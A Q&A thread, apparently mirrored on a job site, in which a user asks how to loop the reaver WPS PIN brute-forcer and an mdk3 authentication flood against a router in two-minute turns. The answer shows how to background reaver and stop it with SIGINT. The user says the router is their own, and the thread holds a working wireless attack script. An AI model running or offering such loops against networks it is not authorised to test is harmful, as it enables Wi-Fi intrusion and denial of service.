Empresas
Empleos
  • Sobre nosotros
  • Soluciones
    • Publicación de vacantes
      Publica tu vacante y recibe candidatos calificados en 48h.
    • Evaluación de candidatos
      500+ pruebas técnicas y psicológicas, más anti-fraude.
    • Headhunting
      Búsqueda ejecutiva a la medida de principio a fin.
    • Nómina + EOR
      Dispersión de nómina y EOR en más de 15 países de LATAM.
  • Precios
  • Empleos

0

454
Vistas
send control c to a linux command after specific time intervel?

Shell Scripting:

I am doing some testing on my router, I am using mdk3 and reaver utility for that.

here are the two commands:

[cmd1]  echo y|reaver -i wlan2mon -b 00:FF:EE:CC:DS:B6 -vv    -l 230
[cmd2]  sudo mdk3 wlan2mon a -a 00:FF:EE:CC:DS:B6

goal:

I am trying to create a shell script which will run [cmd1] for 2 minutes, then it will send the ctrl + c signal to [cmd1] so that it will save the reaver session.

then cmd2 will run for 2 minutes and this will also stop after that.

these two will be in loop.

below is the sample script which I written can you add timer to it..?

    #!/bin/bash

while :; do echo
echo "running mdk for 2 minutes";
timeout 120 sudo mdk3 wlan2mon a -a 00:FF:EE:CC:DS:B6;

echo "mdk finished";
echo "starting reaver for 2 minutes ";

#here timeout won't work, as ctrl+c can only save the state.

//add code here to run reaver utility for two minutes and send ctrl+c to it
echo y|reaver -i wlan2mon -b 00:FF:EE:CC:DS:B6 -vv;
 echo "reaver ran for two minutes";



done  
over 4 years ago · Santiago Trujillo
1 Respuestas
Responde la pregunta

0

I'm not familiar with the reaver program, but I think the following should work,

# Run reaver as a background process (add &)
echo y|reaver -i wlan2mon -b 00:FF:EE:CC:DS:B6 -vv &
# Save the process id.
reaverpid=$!
# Sleep 2 minutes
sleep 120
# Send SIGINT, which is what ctrl-c normally does.
kill -SIGINT $reaverpid
over 4 years ago · Santiago Trujillo Denunciar
Responde la pregunta
Encuentra empleos remotos

¡Descubre la nueva forma de encontrar empleo!

Top de empleos
Top categorías de empleo
Empresas
Publicar vacante Precios Comercial
Legal
Términos y condiciones Política de privacidad
© 2026 PeakU Inc. All Rights Reserved.
Andres GPT
Recomiéndame algunas ofertas
Necesito ayuda